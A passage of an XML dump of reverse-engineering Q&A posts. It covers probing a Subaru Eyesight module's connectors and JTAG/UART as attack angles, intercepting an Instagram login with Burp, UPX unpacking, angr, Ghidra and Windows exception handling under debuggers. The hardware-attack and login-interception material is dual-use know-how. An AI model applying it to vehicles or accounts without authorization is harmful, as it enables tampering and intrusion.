CAN network?&lt;/p&gt;&#xA;&lt;p&gt;As for the other two connectors on the board, the small white on near the top center is covered by a sticker when installed, there is no access to it without removing the sticker or disassembling the system, I would be led to believe this is for programming the module during assembly? I don't know if that's a reasonable assumption or not, but if so I would imagine its a possible angle of attack. For the gray connector, that one is exposed once the module is accessible in the vehicle. I would assume this is the port used by Subaru to download images so this might be the best possible route of attack.&lt;/p&gt;&#xA;&lt;p&gt;While doing research on hardware hacking, I've come across JTAG and UART as common attack angles, unfortunately I have been unable to locate any such pinouts on the board. Looking at the data sheets for some of the chips, however, i was able to locate JTAG pins on some of the chips. With an integrated system like this, I'm not sure how accessing JTAG pins on a single component would help. Possible the images are all stored on one chip and other chips are used for processing data and handling the collision avoidance system?&lt;/p&gt;&#xA;&lt;p&gt;Again, thanks for anything you guys have to say, any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="33455" LastEditorUserId="245" LastEditDate="2020-06-24T11:27:17.240" LastActivityDate="2023-11-29T18:20:54.750" Title="Subaru Eyesight Images and collision avoidance systems" Tags="|memory|integrated-circuit|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25215" PostTypeId="1" CreationDate="2020-06-05T03:33:52.880" Score="2" ViewCount="1799" Body="&lt;p&gt;In x64dbg, we can set hardware breakpoint on write in memory dump but can we add more codition? &#xA;Ex. Set breakpoin on write of value of 2F.&lt;/p&gt;&#xA;" OwnerUserId="33458" LastActivityDate="2020-06-16T18:28:59.580" Title="x64dbg, breakpoint on write in memory with specific value" Tags="|x64dbg|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25217" PostTypeId="1" AcceptedAnswerId="25226" CreationDate="2020-06-05T09:26:28.057" Score="0" ViewCount="141" Body="&lt;p&gt;Looking at DWARFs of bzip2_base I see different offsets between members of a structure type although they are of the same type. Check _IO_FILE structure at the offset 0x9c &lt;a href=&quot;https://github.com/ryantanwk/VaTy/blob/master/benchmark/sample_binaries/bzip2_base.gcc54-64bit.DIE&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. All the way until the 7th member at 0xF0 (_IO_write_end) all members have 12 Byte offset from the previous member, but the 8th member (@ 0xFD) onward the difference in the DIE offset gets 13 Bytes. Can anyone help me understand why? any good text that explains?&lt;/p&gt;&#xA;" OwnerUserId="33460" LastActivityDate="2020-06-06T21:19:39.610" Title="How is padding size calculated for members of structure types?" Tags="|elf|struct|debugging-symbols|offset|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25218" PostTypeId="1" CreationDate="2020-06-05T17:58:37.293" Score="0" ViewCount="204" Body="&lt;p&gt;I am thinking of taking up ethical hacking as a hobby. So, I installed Burp Suite Community Edition and set it up with Firefox. I opened Instagram and tried to login with these details (just for testing):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Username: admin&#xA;&#xA;Password: 123456&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I intercepted the request in Burp, although the username was still admin , the password had been encrypted to something else. This means that somewhere in the code of the website, a formula tells Firefox how to convert 123456 to that string. How can I find this 'formula'?&lt;/p&gt;&#xA;" OwnerUserId="33463" LastActivityDate="2020-06-05T18:53:26.477" Title="How to locate the function being applied on password" Tags="|javascript|proxy|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="25220" PostTypeId="1" CreationDate="2020-06-05T20:02:39.017" Score="1" ViewCount="1019" Body="&lt;p&gt;I'm trying to learn how to do basic unpacking EXEs. I've read into how the PE header works, sections, the IAT and I already know a fair bit about assembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with compressing my simple x64.exe with UPX and attempted to manually unpack it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stepped through the stub code, established where the extracted original code goes (.UPX0 section), found the OEP and IAT. With this, I was able to use Scylla to dump the process and correctly rebuild the IAT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I ran the unpacked exe it failed. I decided to debug the unpacked exe and realised the code attempts to address a static variable that was originally stored in the .data section but is now invalid and generates a memory violation exception (crashing the program). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway to my frustration I realised that I needed to fix up the relocations as the original .reloc section had been lost. I painstakingly stepped through the UPX code and identified where the addresses that needed to be relocated were. I use PE explorer to rebuild the .reloc section manually. However, I gave up after 6 address when I realised there was a total of 100 to go through!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there a tool that can automatically fix up the relocations (much like Scylla does with the IAT) or am I stuck doing it manually? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Z&lt;/p&gt;&#xA;" OwnerUserId="23741" LastActivityDate="2020-12-14T13:29:19.727" Title="Problems with relocation when unpacking" Tags="|unpacking|packers|address|upx|import-reconstruction|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25221" PostTypeId="1" CreationDate="2020-06-06T03:56:25.423" Score="1" ViewCount="52" Body="&lt;p&gt;I've been working with reverse engineering tape image and disk image formats and the files and filesystems they contain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It struck me that sometimes there are data fields that are not in the same endian as the platforms these represent, sometimes there are even fields of both endians. (I bet this is even more common in networking.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be really beneficial to have variants of the assembly directives &lt;code&gt;dw&lt;/code&gt;/&lt;code&gt;defw&lt;/code&gt;, &lt;code&gt;dd&lt;/code&gt;/&lt;code&gt;defd&lt;/code&gt;, etc that include endian information so you can see at a glace what the intended numeric value is and also when the endian is not the expected one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes me wonder if there are already assemblers that let the programmer define words, longs, etc in specific endian formats. And if there are not assemblers that do it, perhaps there are some disassemblers that do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of adding a feature request for this in Ghidra but first I want to know if it's already in some tools, and what syntax they use if so.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2020-06-07T09:09:53.113" Title="Are there some assemblers or disassemblers that allow dw/defw etc directives with specified endianness?" Tags="|assembly|disassemblers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25222" PostTypeId="1" AcceptedAnswerId="25225" CreationDate="2020-06-06T10:14:35.400" Score="0" ViewCount="485" Body="&lt;p&gt;Let's suppose I want to use IDA Pro to debug a Windows PE64 application that always throws an error message at a specific point when being run. What steps would I have to take to find the specific function in the code of the application that throws the error message? &lt;/p&gt;&#xA;" OwnerUserId="33469" LastActivityDate="2020-06-22T10:15:47.207" Title="How can I find the function that throws an error message in IDA Pro?" Tags="|ida|disassembly|debugging|" AnswerCount="1" CommentCount="0" ClosedDate="2020-06-22T08:38:40.920" ContentLicense="CC BY-SA 4.0" />
  <row Id="25225" PostTypeId="2" ParentId="25222" CreationDate="2020-06-06T21:12:39.733" Score="2" Body="&lt;p&gt;Try to find the string of the error message in the binary (Hotkey: &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;, Search for binary). If the auto analysis worked well, the string should be annotated with all functions that reference the string, and you should be able to jump to the instructions that refer to the message using the cross references popup (Hotkey: &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="21359" LastEditorUserId="245" LastEditDate="2020-06-22T10:15:47.207" LastActivityDate="2020-06-22T10:15:47.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25226" PostTypeId="2" ParentId="25217" CreationDate="2020-06-06T21:19:39.610" Score="1" Body="&lt;p&gt;The offsets you are quoting are not the offsets of the structure members, but they are offsets of the debug information statements inside the dwarf section. The members itself are all 8 bytes in size. &lt;code&gt;_IO_write_ptr&lt;/code&gt; is at offset 40, &lt;code&gt;_IO_write_end&lt;/code&gt; is at offset 48 and and &lt;code&gt;_IO_buf_base&lt;/code&gt; is at offset 56.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debug information for &lt;code&gt;_IO_write_end&lt;/code&gt; is bigger than the previous debug information records, because the member &lt;code&gt;_IO_write_end&lt;/code&gt; is declared in line 256 of the source file, and encoding line numbers of 256 or bigger takes more bytes than encoding line numbers zero to 255.&lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2020-06-06T21:19:39.610" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25228" PostTypeId="1" CreationDate="2020-06-07T01:21:42.883" Score="3" ViewCount="248" Body="&lt;p&gt;I was always curious about how some single-player games are turned into multiplayer ones. Some samples are &lt;a href=&quot;https://www.sa-mp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SA-MP&lt;/a&gt; and &lt;a href=&quot;https://multitheftauto.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MTA&lt;/a&gt;, that turn &lt;em&gt;Grand Theft Auto: San Andreas&lt;/em&gt; into a multiplayer game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an &lt;em&gt;infrastructure&lt;/em&gt; perspective, I know you might have a server that receives packets from a client and makes sure all the other clients receive these packets as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, whenever a player moves, the client sends a message to the server. The server then redirects the messages to each connected client. Each connected client updates the player's position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how the engineers can &quot;inject a code&quot; into the game to make it send a network packet to a server whenever a player moves? How can they &quot;inject a code&quot; into the game, so it listens to a network packet to react over it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;inject a code&quot; term is between quotes because I don't even know if a code is really injected into the game. That's exactly what I'm curious about. Which techniques are used? How can this be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they hook into specific events to execute a custom code that performs networking communication? If so, could you guys elaborate that a bit further?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not planning to do so, and I have no prior experience with Reverse Engineering. I couldn't find anything on the Internet. Due to that, feel free to explain any &quot;basic concept&quot; as well. :) I'd like to understand as much as possible about it, and different opinions and perspectives are more than welcome.&lt;/p&gt;&#xA;" OwnerUserId="33476" LastActivityDate="2020-06-07T01:21:42.883" Title="How are single-player games made into multiplayer ones?" Tags="|function-hooking|" AnswerCount="0" CommentCount="3" ClosedDate="2020-06-23T21:08:34.140" ContentLicense="CC BY-SA 4.0" />
  <row Id="25229" PostTypeId="2" ParentId="25220" CreationDate="2020-06-07T09:05:39.147" Score="1" Body="&lt;p&gt;AFAIK there is no existing tool but you should be able to create one using the approach used by DOS unpackers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run the binary once, dump it at the entry point&lt;/li&gt;&#xA;&lt;li&gt;Run it second time, forcing the load base to be different (e.g. map some memory at the preferred load base, or reboot to reinitialize ASLR). Capture a second dump. &lt;/li&gt;&#xA;&lt;li&gt;Compare two dumps. The locations with differences should be the relocations. Create a relocation table for them. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Specifically for UPX, there’s an easier way: the relocation table is stored in a predefined format so you just need to find and parse it. See the UPX source code for more info. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-07T09:05:39.147" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25230" PostTypeId="2" ParentId="25221" CreationDate="2020-06-07T09:09:53.113" Score="2" Body="&lt;p&gt;Specifically for IDA, there is no such feature built in  but you should be able to create a custom data format  to handle this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/blog/custom-data-types-and-formats/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/blog/custom-data-types-and-formats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The post is somewhat old so some details may have changed but the functionality is still there)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-07T09:09:53.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25232" PostTypeId="1" CreationDate="2020-06-07T16:07:43.563" Score="2" ViewCount="361" Body="&lt;p&gt;I'm working on some Ghidra loader and filesystem modules for 80s microcomputers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started work on a Loader for .cas tape image files for the TRS-80 CoCo because Ghidra suports the 6805 CPU. (It also supports the M68HC05TB and MC68HC908QY4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never used the CoCo or anything with a 6809 back in the day so wasn't accustomed to its instructions. I am used to a few other instruction sets though. Anyway I assumed 6805 and 6809 would be quite that using Ghidra for CoCo and Dragon 32 binaries would be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I got my loader module to the point it was ready to test I found it did not produce code for the CoCo's ROM that matched disassemblies on the Internet. Many bytes could not be decoded into instructions at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I search for the 6805 I can't find information saying the instruction sets are substantially different, though they only give the impression it should be quite close to the 6809 rather than outright saying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So have I made a wrong assumption, have I mixed something up on Ghidra, or do the two similarly named chips have totally different instruction sets? Should I be able to disassemble code for these '80s machines using Ghidra if I set it properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm sure there are other disassemblers but I'm only working with Ghidra for this project.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2020-06-08T03:19:07.243" LastActivityDate="2020-06-08T03:20:08.210" Title="Can Ghidra currently be used to disassemble Tandy Color Computer binaries? Are the 6805 and 6809 opcode compatible?" Tags="|disassembly|ghidra|motorola|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25233" PostTypeId="2" ParentId="25232" CreationDate="2020-06-08T02:32:59.833" Score="2" Body="&lt;p&gt;Ghidra currently does not support the 6809 and there is not yet a feature request for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 6805 and 6809 do have related instruction sets and opcodes but are neither forward nor backward compatible at a binary level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, the 6809 has two prefix opcodes: &lt;code&gt;$10&lt;/code&gt; &quot;page 1&quot; and &lt;code&gt;$11&lt;/code&gt; &quot;page two&quot;. These are very common in 6809 code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on the 6805 and many of the chips ending in a smaller number the opcodes &lt;code&gt;$10&lt;/code&gt; and &lt;code&gt;$11&lt;/code&gt; are used for other instructions. On the 6805, &lt;code&gt;$10&lt;/code&gt; is &lt;code&gt;BSET&lt;/code&gt; and &lt;code&gt;$11&lt;/code&gt; is &lt;code&gt;BCLR&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seem to be quite a few other differences but a side-by-side list of opcodes is not easy to find. In general, both chips have variable length instructions with some same opcodes used for different length instructions, so any attempt to use a tool for one chip on binary code for the other will get out of sync very quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOLD THE PRESSES!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About one minute after posting this answer as a result of a few hours of research I made a confusing discovery:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According the the Ghidra source on GitHub, 6809 support was added in November 2019. You can see in the directory for the 6805 support:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Processors/6805/data/languages&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Processors/6805/data/languages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;6809.cspec    Support Motorola M6809  7 months ago  &#xA;6809.pspec    Support Motorola M6809  7 months ago  &#xA;6809.slaspec  GT-3483: fixed sleigh error in 6x09 language spec.  5 months ago&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm using Ghidra version 9.1.12, released in February 2020 so this functionality should be there. Either it's missing due to a bug or I simply can't find the way to use it. It does not appear in the list of &quot;languages&quot; and there is no related option if you choose 6805 as the language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've filed issue #1958 on Ghidra: &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1958&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/1958&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2020-06-08T03:20:08.210" LastActivityDate="2020-06-08T03:20:08.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25234" PostTypeId="2" ParentId="25120" CreationDate="2020-06-08T03:16:26.133" Score="0" Body="&lt;p&gt;In my case it was a flaky connection. I was originally just using jumper wires to make contact into the through holes on the board and hook it up to the bus pirate. I soldered header pins to it and now I can see the output totally clearly.&lt;/p&gt;&#xA;" OwnerUserId="33229" LastActivityDate="2020-06-08T03:16:26.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25235" PostTypeId="2" ParentId="24883" CreationDate="2020-06-08T04:17:57.643" Score="3" Body="&lt;p&gt;Ghidra flexible arrays support what you are trying to do.  From Ghidra help (search for &amp;quot;flexible array&amp;quot;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A flexible array is added to the end of a structure by adding a last row specified by the base DataType (e.g. char) then invoking the array action and specifying an element count of 0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So you can't create a flexible array in 1 step.  Enter the data type for the variable-length structure member first.  Then select the row for that new structure member and press the &lt;code&gt;[&lt;/code&gt; key to invoke the array action.  Entering 0 as the element count in the resulting dialog will create a flexible array.&lt;/p&gt;&#xA;&lt;p&gt;Ghidra flexible arrays have limited functionality.  From Ghidra help:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The use of flexible array components is not currently reflected in decompiler results or listing reference markup. Its primary purpose if to reflect the C/C++ source definition of a structure with correct alignment and structure sizing.&lt;/p&gt;&#xA;&lt;p&gt;While C/C++ support flexible arrays anywhere within a structure, Ghidra only supports the case where it is the last structure component.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="33483" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-06-08T04:17:57.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25237" PostTypeId="1" AcceptedAnswerId="25241" CreationDate="2020-06-08T08:10:46.790" Score="2" ViewCount="2765" Body="&lt;p&gt;I am trying to learn angr from beginning. Due to lack of simple tutorials I programmed my own little executable which angr should solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C code looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;    char buffer[20];&#xA;    printf(&quot;Password\n&quot;);&#xA;    fgets(buffer,20,stdin);&#xA;    if (strcmp(buffer,&quot;super!\n&quot;)==0) {&#xA;        printf(&quot;SUCCESS!\n&quot;);&#xA;    } else {&#xA;        printf(&quot;FAIL!\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When compiled and opened in binary ninja I see the printfs at following addresses:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nMLiL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nMLiL.png&quot; alt=&quot;BN&quot;&gt;&lt;/a&gt;&#xA;So I created following angr python3 code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;from angr.state_plugins import SimSystemPosix&#xA;&#xA;p = angr.Project('./test')&#xA;state = p.factory.entry_state()&#xA;&#xA;&#xA;&#xA;sm = p.factory.simulation_manager(state)&#xA;sm.explore(find=0x40118c, avoid=0x40119a)&#xA;&#xA;print(sm.found)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running the python code shows following output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;python3 solve_angr.py &#xA;  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.&lt;br&gt;&#xA;  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:&lt;br&gt;&#xA;  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state&lt;br&gt;&#xA;  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null&lt;br&gt;&#xA;  WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.&lt;br&gt;&#xA;  WARNING | 2020-06-08 10:02:29,498 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 72 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))&lt;br&gt;&#xA;  WARNING | 2020-06-08 10:02:29,499 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))&lt;br&gt;&#xA;  []&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The [] indicates that it did not find any solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me what I did wrong?&lt;/p&gt;&#xA;" OwnerUserId="33485" LastActivityDate="2020-06-08T15:56:44.703" Title="Simple angr example not working" Tags="|c|angr|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25241" PostTypeId="2" ParentId="25237" CreationDate="2020-06-08T14:20:14.180" Score="2" Body="&lt;p&gt;I believe that the issue is related to the way &lt;code&gt;gets&lt;/code&gt; symbolic procedure implemented in angr. You are asking to read 20 bytes, and as far as I understand, the actual symbolic memory that is allocated is of the size of 20 (19 string characters and a NULL terminator). Later, when you call to &lt;code&gt;strcmp&lt;/code&gt;, the comparison will always fail, because you compare 20 bytes string to &lt;code&gt;super!\n&lt;/code&gt; which is shorter. So the compare result will never be 0, and angr's symbolic execution engine will never reach the &lt;code&gt;printf(&quot;SUCCESS!\n&quot;);&lt;/code&gt; clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you modify your code to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;    char buffer[20];&#xA;    printf(&quot;Password\n&quot;);&#xA;    fgets(buffer,8,stdin); // &amp;lt;-------------- Adjust size to be same as &quot;super!\n&quot;&#xA;    if (strcmp(buffer,&quot;super!\n&quot;)==0) {&#xA;        printf(&quot;SUCCESS!\n&quot;);&#xA;    } else {&#xA;        printf(&quot;FAIL!\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way it works fine and reaches &lt;code&gt;printf(&quot;SUCCESS!\n&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-06-08T14:20:14.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25242" PostTypeId="2" ParentId="25237" CreationDate="2020-06-08T15:56:44.703" Score="0" Body="&lt;p&gt;If you can't modify the binary but through the static analysis you get the number of bytes you need to provide as a flag, you can construct bit vector&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(6)]&#xA;flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and pass that to the &lt;code&gt;entry_state&lt;/code&gt; since the flag is provided as an input through &lt;code&gt;stdin&lt;/code&gt; to this binary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p = angr.Project('test')&#xA;state = p.factory.entry_state(args=['./test'], stdin=flag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With such setup, &lt;code&gt;angr&lt;/code&gt; will successfully find the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you would like to extract the flag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;found = sm.found[0]&#xA;flag_str = found.solver.eval_upto(flag, 7, cast_to = bytes)&#xA;print(flag_str)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-06-08T15:56:44.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25243" PostTypeId="2" ParentId="21367" CreationDate="2020-06-08T21:31:37.950" Score="1" Body="&lt;p&gt;I think I have finally found an answer to this question.&#xA;Since I didn't find an answer anywhere in the Internet (including MSDN documentation for &lt;code&gt;signal&lt;/code&gt;, articles covering anti debuggging techniques and exception handling on Windows) and the problem existed in all debuggers tested (&lt;em&gt;OllyDbg1/2, x64dbg, IDA debugger, radare2, gdb&lt;/em&gt;), I analysed exception handling mechanism described in &lt;em&gt;&lt;a href=&quot;https://repo.zenk-security.com/Linux%20et%20systemes%20d.exploitations/Windows%20Internals%20Part%201_6th%20Edition.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Internals 6th edition&lt;/a&gt;&lt;/em&gt;. Following image and cites come from this book, from page 126.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exception dispatching process may be illustrated this way (actions will be performed from top to the bottom on the image):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pWLpF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pWLpF.png&quot; alt=&quot;exception dispatching&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Actions performed:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;the first action the exception&#xA;  dispatcher takes is to see whether the process that incurred the exception has an associated debugger process. If it does, the exception dispatcher sends a debugger object message to the debug object&#xA;  associated with the process (which internally the system refers to as a “port” for compatibility with&#xA;  programs that might rely on behavior in Windows 2000, which used an LPC port instead of a debug&#xA;  object).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the process has no debugger process attached or if the debugger doesn’t handle the exception,&#xA;  the exception dispatcher switches into user mode, copies the trap frame to the user stack formatted&#xA;  as a CONTEXT data structure [...], and calls a routine to find a structured or vectored exception handler&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;If none is found or if none handles the exception, the exception&#xA;  dispatcher switches back into kernel mode and calls the debugger again to allow the user to do more&#xA;  debugging. (This is called the second-chance notification.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the debugger isn’t running and no user-mode exception handlers are found, the kernel sends&#xA;  a message to the exception port associated with the thread’s process. This exception port, if one exists, was registered by the environment subsystem that controls this thread. The exception port gives&#xA;  the environment subsystem, which presumably is listening at the port, the opportunity to translate&#xA;  the exception into an environment-specific signal or exception. For example, when Subsystem for&#xA;  UNIX Applications gets a message from the kernel that one of its threads generated an exception,&#xA;  Subsystem for UNIX Applications sends a UNIX-style signal to the thread that caused the exception&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, if the kernel progresses this far in processing the exception and the subsystem doesn’t &#xA;  handle the exception, the kernel sends a message to a systemwide error port that Csrss (Client/Server&#xA;  Run-Time Subsystem) uses for Windows Error Reporting (WER) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;executes a default exception handler that simply terminates the process whose thread caused the&#xA;  exception&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Points 1., 2., 3., 5. and 6. aren't surprising. However, notice the point 4. It says, that if first three points didn't handle the exception and &lt;strong&gt;the debugger isn’t running&lt;/strong&gt;, environment subsystem can translate the exception into an environment-specific signal which is then sent to the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that only happens when a debugger is not attatched to the process and this explains why the exception handler was only called when the program was running outside a debugger. Otherwise, point 4. from the list above was simply not 